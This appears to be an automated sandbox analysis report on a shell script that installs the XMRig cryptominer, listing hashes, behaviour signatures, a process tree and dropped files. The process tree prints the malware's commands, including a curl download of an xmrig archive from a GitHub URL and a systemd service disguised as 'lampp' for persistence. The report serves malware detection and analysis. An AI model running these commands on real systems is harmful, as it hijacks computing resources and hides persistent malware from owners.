Analysis

  • max time kernel
    1s
  • max time network
    1015s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 12:00

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1379
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1382
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1383
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1386
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1387
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1428
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:1429
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1430
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1430
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1430
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1430
                    • /usr/bin/rm
                      2⤵
                        PID:1431
                      • /usr/bin/sed
                        2⤵
                          PID:1432
                        • /root/lampp/xmrig
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1433
                        • /usr/bin/sed
                          2⤵
                            PID:1438
                          • /usr/bin/cut
                            2⤵
                              PID:1437
                            • /usr/bin/hostname
                              2⤵
                                PID:1436
                              • /usr/bin/sed
                                2⤵
                                  PID:1439
                                • /usr/bin/sed
                                  2⤵
                                    PID:1440
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1441
                                    • /usr/bin/sed
                                      2⤵
                                        PID:1442
                                      • /usr/bin/sed
                                        2⤵
                                          PID:1443
                                        • /usr/bin/sed
                                          2⤵
                                            PID:1444
                                          • /usr/bin/sed
                                            2⤵
                                              PID:1445
                                            • /usr/bin/cp
                                              2⤵
                                                PID:1446
                                              • /usr/bin/sed
                                                2⤵
                                                • Reads runtime system information
                                                PID:1447
                                              • /usr/bin/cat
                                                2⤵
                                                  PID:1448
                                                • /usr/bin/chmod
                                                  2⤵
                                                    PID:1449
                                                  • /usr/bin/sudo
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1450
                                                    • /usr/bin/true
                                                      3⤵
                                                        PID:1451
                                                    • /usr/bin/awk
                                                      2⤵
                                                        PID:1454
                                                      • /usr/bin/grep
                                                        2⤵
                                                          PID:1453
                                                        • /usr/bin/cat
                                                          2⤵
                                                            PID:1455
                                                          • /usr/bin/sudo
                                                            2⤵
                                                              PID:1456
                                                              • /usr/bin/mv
                                                                3⤵
                                                                  PID:1457
                                                              • /usr/bin/sudo
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:1458
                                                                • /usr/bin/killall
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:1459
                                                              • /usr/bin/sudo
                                                                2⤵
                                                                  PID:1460
                                                                  • /usr/bin/systemctl
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:1461
                                                                • /usr/bin/sudo
                                                                  sudo systemctl enable lampp.service
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:1500
                                                                  • /usr/bin/systemctl
                                                                    systemctl enable lampp.service
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:1501
                                                                • /usr/bin/sudo
                                                                  sudo systemctl start lampp.service
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:1528
                                                                  • /usr/bin/systemctl
                                                                    systemctl start lampp.service
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:1529

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /root/lampp/config.json

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                f3294129e6b76283965ad86a815bf383

                                                                SHA1

                                                                5fe0ab538f86962efe82cb13fc2da745610740af

                                                                SHA256

                                                                578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                SHA512

                                                                07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                              • /root/lampp/sed6xyWPq

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                ea3a444a8da02d317146c13813e1aa36

                                                                SHA1

                                                                b39bd0c4962b978fe5c129bf283b0028afc13834

                                                                SHA256

                                                                b200d16febe266661d3acb9fff65ede4a800c916a23af9746180ec46ea11e449

                                                                SHA512

                                                                5d66013438920d89462247135f6d569b4a3b6d74ad6422d402f611348cd94a2fb52d26bffad829e0a2246a49b91753846b5f9c5e33f60cc8ca1548eaf00aa45f

                                                              • /root/lampp/sed9Zetgp

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                1dc774f5e882569c15380e4ee4605a24

                                                                SHA1

                                                                14f1b6fcc3cf23891041dfb14a67bd0a46c5eed1

                                                                SHA256

                                                                2f053e6c4b13d1dde70cf8bf326d2125e29c7dc162a6fb31eef30c5c75ab9da5

                                                                SHA512

                                                                9509e4b20590fe6399fdc1e8ebb7358c752814517653d04829573bae6bd2ed82ee8100782bd4b718c435278a06912b1a07cf32fe9b1851cff6f14689b8205c8a

                                                              • /root/lampp/sedRDHqk5

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                8b11b027dd187104473ee7d661ffe25f

                                                                SHA1

                                                                ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                SHA256

                                                                984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                SHA512

                                                                1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                              • /root/lampp/sedTHFEy8

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d4887e8847c98d4f12cae3a68c0e6ad4

                                                                SHA1

                                                                4b01c10677a2a073c08a3cd6317430fcdd60f21e

                                                                SHA256

                                                                ba7d4932ddcd5b037f00d0da631ef7e30142e6a0c1a30497c490da9d7766bf01

                                                                SHA512

                                                                3f2308062f29791aa8c4120ecca51401b6c9457fa273333f10400d17b403572a24a0f011d4ca5e594c83acedb7d850d7f1f02ec6b202aa7c57bd18431216703f

                                                              • /root/lampp/sedax2y3Z

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d489ddbbb83271e967b8af615d17d3c7

                                                                SHA1

                                                                f0394a367a60e9727269882154098dec802774ef

                                                                SHA256

                                                                5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                SHA512

                                                                aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                              • /root/lampp/sedv7TyJA

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                b1dda5214e6c76db919b7c2f68062acf

                                                                SHA1

                                                                bef628f8158d1ea3cf9a360717626188f8a1b659

                                                                SHA256

                                                                22b9bfb9a085f7f77144418eddb7b1fe45c861fc3a2b0822275c490cb3b1f57f

                                                                SHA512

                                                                16618a5601031e1a5123b6f53dc71f1be180c672e78e681bb799e7829818fe945da2adcab6978658dd358368d0fae6c0f912c3bec3d5de2853e51941a9ae6008

                                                              • /root/lampp/xmrig

                                                                Filesize

                                                                8.4MB

                                                                MD5

                                                                471b9784b30930add78b677b02ca526c

                                                                SHA1

                                                                3f6446e92b86b537b7451e0df5259124cd6b8a6f

                                                                SHA256

                                                                da48e7c24e81304406bf41a10f7c65356840dc49747caba2b0b7bbe76b90b4bd

                                                                SHA512

                                                                c266d9faf15d6264f8a8176671d2824cdfeef6c53ac95b12d2822a86a08945d123ba598905b6d0c04f8cbecb92d50669c4f7b5167aa46fafe8bf3024a68d9fa4

                                                              • /tmp/lampp.service

                                                                Filesize

                                                                177B

                                                                MD5

                                                                540c899b78585827e807a62f7345eaf5

                                                                SHA1

                                                                8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                SHA256

                                                                b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                SHA512

                                                                0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                              • /tmp/sh-thd.9CQp9F

                                                                Filesize

                                                                253B

                                                                MD5

                                                                f96a321a262287ceae164f23f232ed9c

                                                                SHA1

                                                                d1eeab41f244b42377afd7cc3de7428736162b24

                                                                SHA256

                                                                f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                SHA512

                                                                75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                              • /tmp/xmrig.tar.gz

                                                                Filesize

                                                                3.4MB

                                                                MD5

                                                                e003a3ec8bdd61151a61cadf950502c4

                                                                SHA1

                                                                2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                SHA256

                                                                80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                SHA512

                                                                ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9